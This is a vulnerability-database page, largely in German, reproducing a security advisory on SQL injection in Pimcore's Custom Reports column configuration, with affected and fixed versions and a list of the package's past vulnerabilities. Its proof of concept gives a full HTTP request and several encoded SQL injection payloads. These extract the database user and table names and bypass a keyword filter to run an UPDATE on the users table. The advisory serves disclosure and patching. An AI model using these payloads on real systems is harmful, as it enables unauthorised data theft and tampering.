Anmelden
Deutsch English Español Polski
Hoch

Pimcore Vulnerable to SQL Injection in Custom Reports Column Configuration

  • Veröffentlicht: 27.05.2026
  • Aktualisiert: 11.10.2026 10:22

Summary

The columnConfigAction endpoint in the CustomReportsBundle is vulnerable to SQL injection. An attacker with the reports_config permission can supply a malicious SQL configuration that is concatenated into a query and executed. Although the application attempts to filter certain DDL/DML keywords (like UPDATE, DELETE, DROP), it fails to prevent arbitrary SELECT queries, UNION statements, or the use of dangerous database functions. Furthermore, because the application returns database error messages in the JSON response, an attacker can easily exfiltrate data using error-based SQL injection techniques.

Affected scope

bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php CustomReportController:columnConfigAction -> SqlAdapter::getColumns -> SqlAdapter::buildQueryString -> Db::fetchAssociative()

PoC

  • Download and install the version Pimcore <=12.3.3 (latest)
  • Login using Admin account or any account that has reports_config permission
  • Navigate to custom reports
  • Capture the request using burp suite and perform SQLi attack as the following
  1. Get Database username
POST /admin/bundle/customreports/custom-report/column-config HTTP/1.1
Host: localhost
Content-Length: 310
sec-ch-ua-platform: "Linux"
Accept-Language: en-US,en;q=0.9
sec-ch-ua: "Not_A Brand";v="99", "Chromium";v="142"
sec-ch-ua-mobile: ?0
X-pimcore-extjs-version-minor: 0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
X-pimcore-csrf-token: 2e42012c8310823bbdbce1598bdecfd19cb5e9c4
X-pimcore-extjs-version-major: 7
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/admin/
Accept-Encoding: gzip, deflate, br
Cookie: pimcore_admin_auth_profile_token=9f990b; PHPSESSID=d101f6fce4d87b8bdbbe800f9f50c82a; _pc_vis=3a17250fba52c657; _pc_ses=1774896807012; _pc_tss=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3NzQ4OTc1MTQuNjEwNzE3LCJwdGciOnsiX20iOjEsIl9jIjoxNzc0ODk2ODA1LCJfdSI6MTc3NDg5NzUxNCwidmk6c3J1IjpbN119LCJleHAiOjE3NzQ4OTkzMTR9.uO4iHiABylQ2KyZC0p8Li9hpgWfHnNQ01GUkbeY1Wmc; _pc_tvs=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3NzQ4OTc1MTQuNjExNTA4LCJwdGciOnsiY21mOnNnIjp7Ijg2MCI6Mn0sIl9jIjoxNzc0ODc2MzQyLCJfdSI6MTc3NDg5NjgwNX0sImV4cCI6MTgwNjQzMzUxNH0.mhq_2qwWzWWGruI0VNnAwgs8QzfZfbc6Za0uGn7zNYM
Connection: keep-alive

configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%221%20AND%20(SELECT%201%20FROM%20(SELECT(EXTRACTVALUE(1%2cCONCAT(0x7e%2c(SELECT%20user())%2c0x7e))))x)%22%2c%22from%22%3a%22object_localized_CAR_en%22%2c%22where%22%3a%221%3d1%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes
  1. Get Database name
configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%221%20AND%20(SELECT%201%20FROM%20(SELECT(EXTRACTVALUE(1%2cCONCAT(0x7e%2c(select%2bcurrent_setting(%24%24is_superuser%24%24))%2c0x7e))))x)%22%2c%22from%22%3a%22object_localized_CAR_en%22%2c%22where%22%3a%221%3d1%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes
  1. Get Tables names Note: Update the limit parameter to iterate around the tables queries like limit 0,1 limit 1,1 , limit 2,1 ..etc
configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%22(SELECT%201%20FROM%20(SELECT(EXTRACTVALUE(1%2cCONCAT(0x7e%2c(SELECT%20table_name%20FROM%20information_schema.tables%20WHERE%20table_schema%3ddatabase()%20LIMIT%200%2c1)%2c0x7e))))x)%22%2c%22from%22%3a%22object_localized_CAR_en%22%2c%22where%22%3a%221%3d1%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes
  1. Bypass the implemented Regex and perform SQL updat eto for exmaple update the admin username
configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%22*%22%2c%22from%22%3a%22users%22%2c%22where%22%3a%22id%3d1)%2f**%2fOR%2f**%2f1%3d1%3b%2f**%2fUPDATE%2f**%2fusers%2f**%2fSET%2f**%2fname%3d'admin'%2f**%2fWHERE%2f**%2fname%3d'admin2'%3b--%20-%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes

Impact

By exploiting this vulneability any user with custom-report access could manipuate and crawl the database information and also bypass the application filters to Update,insert or delete database tables, which impact on the application confidentiality ,intergrity and service availability

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Composer-Paket pimcore/pimcore >= 2026.1.0, < 2026.1.2, < 11.5.17, >= 12.0.0-RC1, < 12.3.6 2026.1.2, 11.5.17, 12.3.6

Verweise

CVSS-Wert 8.7/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Schwäche (CWE)
CWE-89
Plattform
Composer
Paket
pimcore/pimcore
Veröffentlicht
27.05.2026
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-3234-gxc3-pq6f - CC BY 4.0

Schwachstellenhistorie: pimcore/pimcore

Alle veröffentlichten Schwachstellen dieses Pakets (Composer-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (135) im Archiv
Einträge insgesamt
135
Erste → letzte
12.2019 09.2026
Ohne Fix
3
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 5
  • Hoch 40
  • Mittel 90

Veröffentlichungen pro Jahr

Schweregrad:
  1. Pimcore: SQL Injection in Custom Reports via Malicious Report Configuration
    Hoch · 8.8 CVE-2026-55416 >= 2026.1.0, < 2026.1.6, >= 12.0.0-RC1, < 12.3.10, < 11.5.19 2026.1.6, 12.3.10, 11.5.19
  2. Pimcore Vulnerable to Remote Code Execution via DataObject Class-Definition Field Name
    Kritisch · 9.9 CVE-2026-55634 < 12.3.10, >= 2026.1.0, < 2026.1.6 12.3.10, 2026.1.6
  3. Pimcore Hotspotimage getDataFromResource() unrestricted Serialize::unserialize over object-store column (PHP Object Injection, CWE-502)
    Kritisch CVE-2026-55220 >= 2026.1.0, < 2026.1.6, < 12.3.10 2026.1.6, 12.3.10
  4. Pimcore: ClassDefinition UID regex missing end anchor allows SQL injection via Block.php unquoted table name
    Hoch · 8.5 CVE-2026-55072 >= 2026.1.0, < 2026.1.5, < 12.3.9 2026.1.5, 12.3.9
  5. Pimcore CMS Twig Sandbox Bypass via SecurityPolicy checkMethodAllowed
    Hoch · 7.2 CVE-2026-11407 >= 12.0.0-RC1, <= 12.3.8, <= 11.5.14.1 keine Korrektur
  6. Pimcore Platform - SQL Injection in DataObject composite index handling during class definition import/save
    Hoch CVE-2026-5394 >= 12.0.0-RC1, < 12.3.7, < 11.5.17, >= 2026.1.0, < 2026.1.3 12.3.7, 11.5.17, 2026.1.3
  7. Pimcore has a CustomReports Share Bypass
    Hoch CVE-2026-45704 >= 12.0.0-RC1, < 12.3.6, < 11.5.17, >= 2026.1.0, < 2026.1.2 12.3.6, 11.5.17, 2026.1.2
  8. Pimcore: Missing Authorization in WebDAV MOVE via unchecked asset move handling
    Hoch · 8.1 CVE-2026-45260 >= 12.0.0-RC1, < 12.3.7, >= 2026.1.0, < 2026.1.3, < 11.5.17 12.3.7, 2026.1.3, 11.5.17
  9. Pimcore has Unsafe PHP Deserialization in Multiple Locations Without allowed_classes Restriction
    Hoch · 8.0 CVE-2026-45162 >= 12.0.0-RC1, < 12.3.7, < 11.5.17, >= 2026.1.0, < 2026.1.3 12.3.7, 11.5.17, 2026.1.3
  10. Pimcore Vulnerable to SQL Injection in Custom Reports Column Configuration dieser Eintrag
    Hoch · 8.7 CVE-2026-44739 >= 2026.1.0, < 2026.1.2, < 11.5.17, >= 12.0.0-RC1, < 12.3.6 2026.1.2, 11.5.17, 12.3.6
  11. Pimcore ENV Variables and Cookie Informations are exposed in http_error_log
    Hoch · 8.6 CVE-2026-23493 >= 12.0.0-RC1, < 12.3.1, < 11.5.14 12.3.1, 11.5.14
  12. Pimcore Has an Incomplete Patch for CVE-2023-30848
    Hoch · 8.8 CVE-2026-23492 >= 12.0.0-RC1, < 12.3.1, < 11.5.14 12.3.1, 11.5.14
  13. Pimcore Authenticated Stored Cross-Site Scripting (XSS) Via Search Document
    Hoch · 8.1 CVE-2024-11954 >= 11.4.2, < 11.5.3 11.5.3
  14. Pimcore includes vulnerable PHPOffice/PhpSpreadsheet
    Hoch · 8.8 ghsa-hq76-662x-7mw4 >= 10.6.9.0, < 10.6.9.12, >= 11.1.0.0, < 11.1.6.11 10.6.9.12, 11.1.6.11
  15. Flooding Server with Thumbnail files
    Hoch · 7.5 CVE-2024-32871 >= 11.0.0, < 11.2.4 11.2.4
  16. Pimcore SQL Injection in Admin Grid Filter API through Multiselect::getFilterConditionExt()
    Hoch · 8.8 CVE-2023-47637 < 11.1.1 11.1.1
  17. Pimcore vulnerable to Exposure of Sensitive Information to an Unauthorized Actor
    Hoch · 7.6 CVE-2023-3819 < 10.6.4 10.6.4
  18. Pimcore vulnerable to SQL Injection in Dataobjects sorting
    Hoch · 7.2 CVE-2023-3820 < 10.6.4 10.6.4
  19. Pimcore SQL Injection vulnerability
    Hoch · 7.2 CVE-2023-3673 < 10.5.24 10.5.24
  20. SQL Injection in AssetController
    Hoch · 8.8 CVE-2023-2338 < 10.5.21 10.5.21
  21. SQL Injection in Admin Translations API
    Hoch · 8.8 CVE-2023-30850 < 10.5.21 10.5.21
  22. SQL Injection in Translation Export API
    Hoch · 8.8 CVE-2023-30849 < 10.5.21 10.5.21
  23. SQL Injection in Admin Search Find API
    Hoch · 8.8 CVE-2023-30848 < 10.5.21 10.5.21
  24. Improper quoting of columns when calling methods "getByUuid" & "exists" on UUID Model
    Hoch · 7.9 CVE-2023-28108 < 10.5.19 10.5.19
  25. SameSite Attribute vulnerability in pimCore
    Hoch · 8.8 CVE-2023-25240 < 10.5.16 10.5.16
  26. RCE vulnerability in Pimcore/Mail & Dynamic Text Layout
    Kritisch · 9.8 CVE-2022-39365 < 10.5.9 10.5.9
  27. Improper quoting of columns when using setOrderBy() or setGroupBy() on listing classes in Pimcore
    Hoch · 8.1 CVE-2022-31092 < 10.4.4 10.4.4
  28. Pimcore 2FA Vulnerable to Brute Forcing
    Kritisch · 9.8 CVE-2019-18985 < 6.2.2 6.2.2
  29. Pimcore Access Control Issues
    Kritisch · 9.8 CVE-2019-18981 < 6.2.2 6.2.2
  30. Pimcore Discloses Usernames In Use
    Hoch · 7.5 CVE-2019-18986 < 6.2.2 6.2.2
  31. Pimcore RCE via PHAR upload
    Hoch · 8.8 CVE-2019-16317 < 5.7.1 5.7.1
  32. Pimcore Unrestricted Upload of File with Dangerous Type
    Hoch · 8.8 CVE-2019-16318 < 5.7.1 5.7.1
  33. Pimcore Vulnerable to PHP Object Injection Attacks
    Hoch CVE-2014-2921 >= 1.4.9, < 2.2.0 2.2.0
  34. Pimcore CSRF Vulnerability
    Hoch · 8.8 CVE-2018-14057 < 5.3.0 5.3.0
  35. Pimcore Unserialize Remote Code Execution
    Hoch · 8.8 CVE-2019-10867 < 5.7.1 5.7.1
  36. SQL Injection found in Pimcore
    Hoch · 7.5 CVE-2022-1429 < 10.3.6 10.3.6
  37. SQL Injection in Pimcore
    Hoch · 7.5 CVE-2022-1339 < 10.3.5 10.3.5
  38. SQL Injection in Pimcore
    Hoch · 7.5 CVE-2022-1219 < 10.3.5 10.3.5
  39. pimcore is vulnerable to SQL Injection
    Hoch · 8.3 CVE-2022-0258 < 10.2.9 10.2.9
  40. Unrestricted Upload of File with Dangerous Type in pimcore
    Hoch · 7.8 CVE-2022-0263 < 10.2.7 10.2.7
  41. Improper Neutralization of Text-Values in Object Version Preview
    Hoch · 8.0 CVE-2021-39166 < 10.1.2 10.1.2
  42. Improper Encoding or Escaping of Output in Asset Metadata Component
    Hoch · 8.0 CVE-2021-39170 < 10.1.2 10.1.2
  43. SQL injection in pimcore/pimcore
    Hoch · 8.8 CVE-2021-23405 < 10.0.7 10.0.7
  44. SQL Injection in pimcore
    Hoch · 7.2 CVE-2020-7759 >= 6.7.2, < 6.8.3 6.8.3
  45. Path traversal in pimcore/pimcore
    Hoch · 7.1 CVE-2021-23340 < 6.8.8 6.8.8

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Datenschutzerklärung

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.